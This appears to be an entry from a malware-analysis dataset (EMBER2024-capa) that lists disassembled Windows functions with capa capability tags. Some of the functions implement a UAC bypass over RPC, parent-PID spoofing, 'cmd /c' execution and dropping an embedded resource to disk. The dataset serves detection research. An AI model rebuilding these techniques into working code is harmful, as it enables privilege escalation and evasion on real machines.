joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003930
Capabilities:
Bypass uac via rpc

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x80
mov qword [rax + 0x20], rbx
mov rbx, rcx
mov qword [rax - 0x10], rbp
xor ebp, ebp
mov qword [rax + 0x18], rbp
mov qword [rax + 0x10], rbp
mov dword [rax + 8], 0x44
test rcx, rcx
je 0x14000395f
mov qword [rcx], rbp
xor eax, eax
lea rdi, [rsp + 0x40]
mov ecx, 0x28
lea rdx, str.ncalrpc
rep stosb byte [rdi], al
lea rax, [rsp + 0xa0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rcx, str.201ef99a_7fa0_444c_9399_19ba84f12a1a
xor r8d, r8d
mov qword [rsp + 0x20], rbp
call qword [sym.imp.RPCRT4.dll_RpcStringBindingComposeW]
mov edi, eax
test eax, eax
jne 0x140003a96
mov rcx, qword [rsp + 0xa0]
lea rdx, [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcBindingFromStringBindingW]
lea rcx, [rsp + 0xa0]
mov edi, eax
call qword [sym.imp.RPCRT4.dll_RpcStringFreeW]
test edi, edi
jne 0x140003a96
mov edx, dword [rsp + 0x90]
lea ecx, [rdi + 0x40]
mov qword [rsp + 0x70], rsi
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x140003a8c
lea r9, [rsp + 0x90]
mov r8, rax
xor edx, edx
lea ecx, [rdi + 0x16]
call qword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x140003a79
mov rcx, qword [rsp + 0x98]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea r9d, [rdi + 0xa]
mov dword [rsp + 0x28], ebp
lea r8d, [rdi + 6]
xor edx, edx
mov qword [rsp + 0x20], rbp
mov dword [rsp + 0x40], 3
mov dword [rsp + 0x4c], 3
mov qword [rsp + 0x44], 1
mov qword [rsp + 0x60], rsi
call qword [sym.imp.RPCRT4.dll_RpcBindingSetAuthInfoExW]
mov edi, eax
test eax, eax
jne 0x140003a81
mov rax, qword [rsp + 0x98]
mov rcx, rsi
mov qword [rbx], rax
mov qword [rsp + 0x98], rbp
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140003a91
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140003a91
mov edi, 8
mov rsi, qword [rsp + 0x70]
cmp qword [rsp + 0x98], 0
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0xa8]
je 0x140003abc
lea rcx, [rsp + 0x98]
call qword [sym.imp.RPCRT4.dll_RpcBindingFree]
mov eax, edi
add rsp, 0x80
pop rdi
ret
Function at 0x140004750
Capabilities:
Create process on windows
Spoof parent pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0xe0
mov esi, r8d
lea rdi, [rsp + 0x50]
mov r8d, 0x30
lea r14, [0x14007c8a0]
mov qword [rax + 0x20], r8
mov ecx, 0x18
xor eax, eax
mov rbp, rdx
rep stosb byte [rdi], al
lea rdi, [rsp + 0x70]
mov ecx, 0x70
rep stosb byte [rdi], al
xor edi, edi
mov dword [rsp + 0x70], 0x70
mov ebx, 0xc0000001
nop word [rax + rax]
cmp r8, 0x400
ja 0x1400048e4
mov rcx, qword [0x14007c670]
mov edx, 8
call qword [0x14007c678]
mov qword [rsp + 0xd8], rax
test rax, rax
je 0x1400048cc
xor r8d, r8d
lea r9, [rsp + 0x118]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x14000489f
mov rcx, qword [rsp + 0xd8]
lea r9, [rsp + 0x100]
mov qword [rsp + 0x30], rdi
xor edx, edx
mov qword [rsp + 0x28], rdi
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x14000489f
lea rax, [rsp + 0x50]
mov dword [rsp + 0xac], 1
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
mov word [rsp + 0xb0], si
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r14
mov rdx, rbp
mov qword [rsp + 0x30], rdi
xor ecx, ecx
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], edi
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000489f
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, edi
mov r8, qword [rsp + 0xd8]
test r8, r8
je 0x1400048bd
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x14007c670]
xor edx, edx
call qword [0x14007c668]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400048e4
mov r8, qword [rsp + 0x118]
jmp 0x1400047b0
lea r11, [rsp + 0xe0]
mov eax, ebx
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret

Function at 0x140004900
Capabilities:
Accept command line arguments

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, r8
lea rcx, [rsp + 0x30]
mov r8d, 0x208
xor edx, edx
call fcn.140005b10
mov dword [rsp + 0x20], 0
call fcn.140003d40
call fcn.1400043d0
test eax, eax
jne 0x140004996
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbx, rax
test rax, rax
je 0x140004996
cmp dword [rsp + 0x20], 0
je 0x140004996
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x208
call fcn.140005b10
mov r8, qword [rbx]
lea rdx, str.cmd__c__s
lea rcx, [rsp + 0x30]
call qword [sym.imp.USER32.dll_wsprintfW]
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140004480
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1400049d0
add rsp, 0x250
pop rbx
ret
Function at 0x140004f34
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140004fc5
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x140004fc5
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004fc5
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140004fa9
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140004fa3
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140004fab
add rdx, 0x28
jmp 0x140004f88
xor edx, edx
test rdx, rdx
jne 0x140004fb4
xor al, al
jmp 0x140004fcb
test dword [rdx + 0x24], 0x80000000
je 0x140004fc1
xor al, al
jmp 0x140004fcb
mov al, 1
jmp 0x140004fcb
xor al, al
jmp 0x140004fcb
add rsp, 0x18
ret

Function at 0x140006f98
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x140006d6c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140006d6c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140006d6c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140006d6c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140006d6c
cmp dword [rcx + 0x84], 0xe
jbe 0x140006d6c
cmp dword [rcx + 0xf8], esi
je 0x140006d6c
mov ecx, r14d
call fcn.140006eb4
mov ecx, 2
call fcn.140009404
nop
cmp byte [0x14007bd90], 0
jne 0x140006e36
mov r15d, 1
mov eax, r15d
xchg dword [0x14007bd84], eax
test ebx, ebx
jne 0x140006ddf
mov rdi, qword [section..data]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x14007bd88]
cmp rcx, rax
je 0x140006dd6
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.140005158]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x14007bda0]
jmp 0x140006deb
cmp ebx, r15d
jne 0x140006df1
lea rcx, [0x14007bdb8]
call fcn.1400074a8
nop
test ebx, ebx
jne 0x140006e08
lea rdx, [0x14000f388]
lea rcx, [0x14000f368]
call fcn.140006c2c
lea rdx, [0x14000f398]
lea rcx, [0x14000f390]
call fcn.140006c2c
movzx eax, byte [0x14007bd90]
test esi, esi
cmove eax, r15d
mov byte [0x14007bd90], al
jmp 0x140006e36
mov ecx, 2
call fcn.140009458
test esi, esi
jne 0x140006e4d
mov ecx, r14d
call fcn.140006e68
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x140006cfc
Function at 0x1400018a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001915
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001915
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140001905
nop
cmp rbx, rcx
jae 0x140001915
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x1400018f0
cmp rbx, rcx
jae 0x140001915
cmp word [rbx], 0
je 0x140001915
mov rax, rbx
jmp 0x140001917
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140002240
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400cf070]
xor rax, rsp
mov qword [rsp + 0x40], rax
call fcn.140001cc0
test al, al
je 0x140002389
call fcn.140001a00
mov rcx, rax
test rax, rax
je 0x1400023a6
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x28]
call fcn.14001cfd0
nop
mov r8, qword [rax]
lea rdx, [0x1400c07a0]
lea rcx, [rsp + 0x38]
call fcn.140002730
nop
mov rdx, qword [rsp + 0x28]
add rdx, 0xffffffffffffffe8
mov edi, 0xffffffff
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400022ce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
xor ebx, ebx
mov qword [rsp + 0x30], rbx
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call fcn.14001d5b0
nop
mov dword [rsp + 0x20], ebx
mov rbx, qword [rsp + 0x30]
mov rdx, rbx
lea rcx, [0x140084540]
call fcn.14001d3c0
lea rsi, [0x1400cf160]
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
cmovae rsi, qword [0x1400cf160]
mov ecx, 1
sub ecx, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
or eax, ecx
jge 0x140002342
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.1400025c0
mov rbx, qword [rsp + 0x30]
lea r9, [rsp + 0x20]
mov rdx, rsi
mov rcx, rbx
call fcn.14001d150
nop
lea rdx, [rbx - 0x18]
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14000236d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
mov rdx, qword [rsp + 0x38]
add rdx, 0xffffffffffffffe8
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x140002389
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.140073640
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
mov ecx, 0x80004005
call fcn.140001860
int3
Function at 0x140008330
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x1400cf070]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov rax, qword [0x1400d42f8]
test rax, rax
jne 0x14000844c
lea rdi, [0x1400d43c0]
mov qword [rsp + 0x30], rdi
mov rcx, rdi
call fcn.1400708e8
test eax, eax
jne 0x140008482
cmp qword [0x1400d42f8], 0
jne 0x14000843d
lea ecx, [rax + 0x70]
call fcn.1400738c8
mov rbx, rax
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
xor esi, esi
mov qword [rax], rsi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rsi
lea rcx, [rax + 0x18]
lea edx, [rsi + 2]
call fcn.1400708b8
nop
mov dword [rbx + 0x68], esi
mov rcx, rbx
call fcn.14001d880
lea ecx, [rsi + 8]
call fcn.1400738c8
mov qword [rax], rbx
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x14001f7d0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140008473
cmp dword [rsp + 0x48], esi
je 0x14000848a
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x50]
call fcn.1400709cc
test eax, eax
jne 0x14000846b
mov qword [0x1400d42f8], rbx
mov rcx, rdi
call fcn.1400708f0
mov rax, qword [0x1400d42f8]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140073640
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov ecx, eax
call fcn.14007059c
nop
mov dword [rsp + 0x48], esi
mov ecx, 6
call fcn.1400705d8
nop
mov ecx, eax
call fcn.14007059c
nop
mov ecx, 1
call fcn.1400705d8
int3
Function at 0x14000aa90
Capabilities:
Resolve dns

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x1400cf070]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, r8
cmp qword [rdx + 0x18], 0x10
jb 0x14000aabe
mov rdx, qword [rdx]
mov rcx, rdx
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rsi, rax
test rax, rax
je 0x14000ac1d
mov rcx, qword [rax + 0x18]
cmp qword [rcx], 0
je 0x14000ac18
xor ebp, ebp
mov edi, ebp
nop word [rax + rax]
mov rax, qword [rdi + rcx]
mov r8d, dword [rax]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
mov dword [rsp + 0xb0], eax
mov edx, r8d
shr edx, 0x18
mov eax, r8d
shr eax, 0x10
movzx ecx, al
mov eax, r8d
shr eax, 8
movzx r9d, al
movzx r8d, r8b
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], ecx
lea rdx, str._d._d._d._d
lea rcx, [rsp + 0x50]
call fcn.140008c70
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x30], 0
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14000ab84
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140003160
nop
mov rax, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
je 0x14000abbc
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.1400024e0
add qword [rbx + 8], 0x20
jmp 0x14000abcc
lea r8, [rsp + 0x30]
mov rdx, rax
mov rcx, rbx
call fcn.14000afc0
add rdi, 8
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000ac09
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac04
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000ac40
call fcn.140073b54
mov rcx, qword [rsi + 0x18]
cmp qword [rdi + rcx], 0
jne 0x14000aaf0
mov eax, 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.140073640
mov rbx, qword [rsp + 0xf0]
add rsp, 0xd0
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x14000bad0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x270
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14000bb31
lea r8, [r10 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r9, 1
jne 0x14000baf0
mov ecx, dword [r10]
jmp 0x14000bc1a
cmp ecx, 0x4e0
jb 0x14000bc1a
lea r11, [r10 + 0x9c4]
mov qword [rsp], rbx
mov eax, dword [r11]
mov ebx, 0xe3
mov edx, dword [r11 + 4]
lea r8, [r11 + 4]
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 + 0x634]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14000bb50
lea r11, [r10 + 0xd50]
mov ebx, 0x18c
mov eax, dword [r11]
nop dword [rax + rax]
mov edx, eax
lea r8, [r11 + 4]
xor edx, dword [r8]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
mov eax, dword [r8]
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r11 - 0xd4c]
xor ecx, edx
mov dword [r11 - 0x9c0], ecx
lea r11, [r8]
sub rbx, 1
jne 0x14000bba0
mov edx, dword [r10 + 0x1380]
xor edx, dword [r10 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, dword [r10 + 0x1380]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r10 + 0x634]
xor ecx, edx
mov dword [r10 + 0x9c0], ecx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov edx, dword [r10 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r10], eax
mov ecx, edx
mov eax, dword [r10 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret
Function at 0x14000d8e0
Capabilities:
Check if file exists
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x20
lea rax, vtable.CConfig.0
mov rbp, rdx
mov qword [rcx], rax
mov r14, rcx
lea rax, str..ini
mov edx, 2
mov qword [rcx + 0x318], rax
mov r15, r8
lea rax, [0x1400c0271]
mov qword [rcx + 0x320], rax
add rcx, 0x328
call fcn.1400708b8
xor edx, edx
lea rcx, [r14 + 8]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
lea rdi, [r14 + 0x10c]
xor edx, edx
mov rcx, rdi
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [r14 + 0x210]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x104
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov r8d, 0x104
lea rdx, [r14 + 8]
mov rcx, rdi
call qword [sym.imp.COMDLG32.dll_GetFileTitleA]
lea rcx, [r14 + 8]
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionA]
lea r8, [r14 + 8]
mov edx, 0x104
lea rcx, [r14 + 0x210]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
test r15, r15
je 0x14000d9ee
mov rcx, r15
call qword [sym.imp.SHLWAPI.dll_PathIsDirectoryA]
mov rcx, rdi
test eax, eax
je 0x14000d9e6
mov r8, r15
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
jmp 0x14000da24
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
jmp 0x14000da24
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
mov r8, qword [r14 + 0x320]
mov edx, 0x104
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x14000da24
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
test rbp, rbp
je 0x14000da44
mov r8, rbp
lea rcx, [r14 + 8]
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov r8, qword [r14 + 0x318]
lea rcx, [r14 + 8]
mov edx, 0x104
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea r8, [r14 + 8]
mov edx, 0x104
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
mov rbx, qword [rsp + 0x40]
mov rax, r14
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x14001d150
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x1400cf070]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov r14, r9
mov rbx, rdx
mov rsi, rcx
mov dword [rbp - 0x49], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x41], xmm0
movups xmmword [rbp - 0x31], xmm0
movups xmmword [rbp - 0x21], xmm0
movups xmmword [rbp - 0x11], xmm0
movups xmmword [rbp - 1], xmm0
movups xmmword [rbp + 0xf], xmm0
mov edi, 1
mov dword [rbp - 0xd], edi
xor r15d, r15d
mov word [rbp - 9], r15w
mov qword [rbp - 0x29], r15
mov dword [rbp - 0x21], edi
mov dword [rbp - 0x1d], edi
test rdx, rdx
jne 0x14001d1fc
lea rax, [rbp - 0x69]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x49]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, eax
jmp 0x14001d2a7
call fcn.140001a00
mov rcx, rax
test rax, rax
je 0x14001d2e6
mov rax, qword [rax]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbp - 0x51], rax
mov r9, rbx
mov r8, rsi
lea rdx, str._s__s
lea rcx, [rbp - 0x51]
call fcn.140002730
mov rbx, qword [rbp - 0x51]
sub edi, dword [rbx - 8]
mov eax, dword [rbx - 0xc]
or eax, edi
jge 0x14001d24e
xor edx, edx
lea rcx, [rbp - 0x51]
call fcn.1400025c0
mov rbx, qword [rbp - 0x51]
lea rax, [rbp - 0x69]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x49]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], 0x8000010
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edi, eax
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14001d2a7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
mov eax, dword [rbp - 0x59]
mov dword [r14], eax
mov rcx, qword [rbp - 0x61]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x69]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.140073640
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80004005
call fcn.140001860
int3
Function at 0x14001d480
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x60
mov rax, qword [0x1400cf070]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rdi, r8
mov ebp, edx
mov qword [rsp + 0x40], r8
xor bl, bl
mov rax, qword [r8]
mov ecx, 1
sub ecx, dword [rax - 8]
mov eax, dword [rax - 0xc]
or eax, ecx
jge 0x14001d4c9
xor edx, edx
mov rcx, r8
call fcn.1400025c0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], Ordinal_133
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14001d56b
movzx edx, bp
lea r8, [0x1400c1230]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rbp, rax
test rax, rax
je 0x14001d561
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r14, rax
test rax, rax
je 0x14001d561
mov rdx, rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov bl, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rdi]
sub rdx, 0x18
mov ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x14001d58b
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.WS2_32.dll_htonl + 8]
movzx eax, bl
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140073640
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
